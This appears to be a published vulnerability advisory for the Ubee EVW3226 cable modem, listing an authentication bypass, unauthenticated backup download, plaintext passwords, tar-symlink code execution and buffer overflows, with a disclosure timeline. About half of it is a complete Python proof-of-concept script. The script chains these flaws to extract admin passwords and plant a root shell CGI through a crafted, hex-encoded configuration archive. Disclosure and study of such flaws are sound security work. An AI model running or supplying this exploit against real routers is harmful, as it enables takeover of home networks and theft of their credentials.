1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 |
''' Ubee EVW3226 modem/router multiple vulnerabilities -------------------------------------------------- Platforms / Firmware confirmed affected: - Ubee EVW3226, 1.0.20 - Product page: http://www.ubeeinteractive.com/products/cable/evw3226 Vulnerabilities --------------- Insecure session management The web interface does not use cookies at all. If admin login is successful, the IP address of the admin user is stored and everybody can access the management interface with the same IP. Local file inclusion Setup.cgi can read any file with .htm extension using directory traversal in the gonext parameter. Although the file must have htm extension, the local file inclusion can be used to map directories, because the response is different depending on whether directory exists or not. POC: http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2 Backup file is not encrypted Although the web interface requires a password for encrypting the backup file, the encryption is not performed. In order to backup file password, the plain password is stored in the backup file, which is a standard tgz (gzipped tar) file with a simple header. Backup file disclosure When a user requests a backup file, the file is copied into www root in order to make download possible. However, the backup file is not removed from the www root after download. Since there is not any session check required to download the backup file, an attacker is able to download it without authentication from LAN until the next reboot. Since the backup file is not encrypted and contains the plain admin password, the router can be compromised from LAN. POC: http://<device_ip>/Configuration_file.cfg Authentication bypass (backdoor) The web interface bypasses authentication if the HTML request contains the factoryBypass parameter. In this case a valid session is created and the attacker can gain full control over the device. POC: http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1 Arbitrary code execution The configuration file restore function receives a compressed tar file, which is extracted to the /tmp folder. Tar files may contain symbolic links, which can link out from the extraction folder. By creating a configuration file with a symbolic link and a folder which uses this link, the attacker can write out from the backup folder and can overwrite any file in the writable file-system. Since www is copied to the writable file system at boot time (under /tmp), the attacker can insert a new cgi script that executes arbitrary code with root privileges. Default SSID and passphrase can be calculated The default SSID and passphrase are derived only from the MAC address. Since the MAC address of the device is broadcasted via WiFi, the default password can be calculated easily. Combined with code execution and factory bypass, even a botnet of Ubee routers can be deployed easily. Buffer overflow in configuration restore During the configuration restore process, the backup file password is read from the pass.txt file. If the password is large enough (larger than 65536), a stack based buffer overflow is caused, because the file content is loaded with fscanf(“%s”) to a stack based local variable. The stack based buffer overflow can be used to execute arbitrary code with root privileges. Buffer overflow in configuration file request The web interface identifies the configuration file download request by checking that the URL contains the Configuration_file.cfg string. If this string is found, the whole URL is copied into a stack based buffer, which can cause a buffer overflow. This stack based buffer overflow can be used to execute arbitrary code with root privileges without authentication. POC: http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg Buffer overflow in next file name The gonext variable in the POST requests specifies the HTML file, which the cgi script should be loaded. If the gonext variable is large enough (larger than 6512 bytes), a stack based buffer overflow is caused, which can be used to execute arbitrary code with root privileges without authentication. Communication on the UPC Wi-Free can be sniffed within the device The UPC Wi-Free communication is not separated correctly inside the device, because the whole communication can be sniffed after gaining root access to the device. Timeline -------- - 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag - 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems - 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC - 2015.07.20: UPC requested the POC code - 2015.07.21: POC code was sent to UPC - 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC - Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings - 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase - 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities - 2015.09.24: We sent detailed answers to Ubee Interactive - 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases. - 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters - 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases. POC --- POC script is available to demonstrate the following problems [3]: - Authentication bypass - Unauthenticated backup file access - Backup file password disclosure - Code execution Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem. Recommendations --------------- Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase. Credits ------- This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu) References ---------- [1] http://www.search-lab.hu/advisories/secadv-20160720 [2] https://youtu.be/cBclw7uUuO4 [3] https://github.com/ebux/Cable-modems/tree/master/Ubee ''' # # POC code for Ubee EVW3226 # # Demonstrates the following vulnerabilities #- Authentication bypass #- Unauthenticated backup file access #- Backup file password disclosure #- Code execution # # Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu) # # Advisory: http://www.search-lab.hu/advisories/secadv-20150720 import sys import requests import tarfile import struct import binascii import re import shutil config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967' '2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104' '8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD' '87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106' '5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1' '00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667' '3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D' 'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96' '3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000') class ubee: def __init__(self, addr, port): self.addr = addr self.port = port self.s = requests.Session() def getUri(self, uri): return 'http://%s:%d/%s'%(self.addr,self.port,uri) def authenticationBypass(self): self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1')) self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2')) def parseNVRam(self, nv): o = 0x1c pos = 2 nvdata = {} while(True): stype = struct.unpack('!H', nv[o:o+2])[0] slen = struct.unpack('!H', nv[o+2:o+4])[0] sval = nv[o+4:o+4+slen] nvdata[stype] = sval pos += slen o = o+slen+4 if (o >= len(nv) ): break return nvdata def parseBackupFile(self, fname): tar = tarfile.open("Configuration_file.cfg", "r:gz") for tarinfo in tar: if tarinfo.isreg(): if (tarinfo.name == 'pass.txt'): print 'config file password: %s'%(tar.extractfile(tarinfo).read()) elif (tarinfo.name == '1'): nvdata = self.parseNVRam(tar.extractfile(tarinfo).read()) print 'admin password: %s'%(nvdata[3]) tar.close() def saveBackup(self, r, fname): if r.status_code == 200: resp = '' for chunk in r: resp += chunk open(fname, 'wb').write(resp[0xc:]) def createBackupFile(self, fname): # get validcode (CSRF token) r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup')) m = re.search('ValidCode = "([^"]+)"', r.text) if (m == None): print 'ValidCode is not found' return validCode = m.group(1) # create backup file r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode)) if (len(r.text) > 0): self.saveBackup(r, fname) def downloadBackupFile(self, fname): r = self.s.get(self.getUri('Configuration_file.cfg')) if (len(r.text) > 0): print len(r.text) self.saveBackup(r, fname) return True return False def restoreConfigFile(self, fname = '', passwd = 'badpasswd'): # get validcode (CSRF token) r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore')) m = re.search('name="ValidCode" value="([^"]+)"', r.text) if (m == None): print 'ValidCode is not found' return validCode = m.group(1) # restore config file if (fname == ''): cfg_data = config_data else: cfg_data = open(fname, 'rb').read() r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg')))) if (r.text.find('alert("Password Failure!")') > 0): return True else: return False def getShellResponse(self): r = self.s.get(self.getUri('cgi-bin/test.sh')) print r.text #------------------------------------ if (len(sys.argv) < 2): print 'ubee_evw3226_poc.py addr [port]' addr = sys.argv[1] port = 80 if (len(sys.argv) == 3): port = int(sys.argv[2]) # create ubee object u = ubee(addr, port) # perform authentication bypass u.authenticationBypass() # download backup file if it is exists (auth is not required) if (not u.downloadBackupFile('Configuration_file.cfg')): # create and download backup file (auth required) u.createBackupFile('Configuration_file.cfg') # parse downloaded file and get admin and backup file password u.parseBackupFile('Configuration_file.cfg') # execute shell command in the router if (u.restoreConfigFile()): print 'Shell installed' u.getShellResponse() else: print 'Shell install failed' |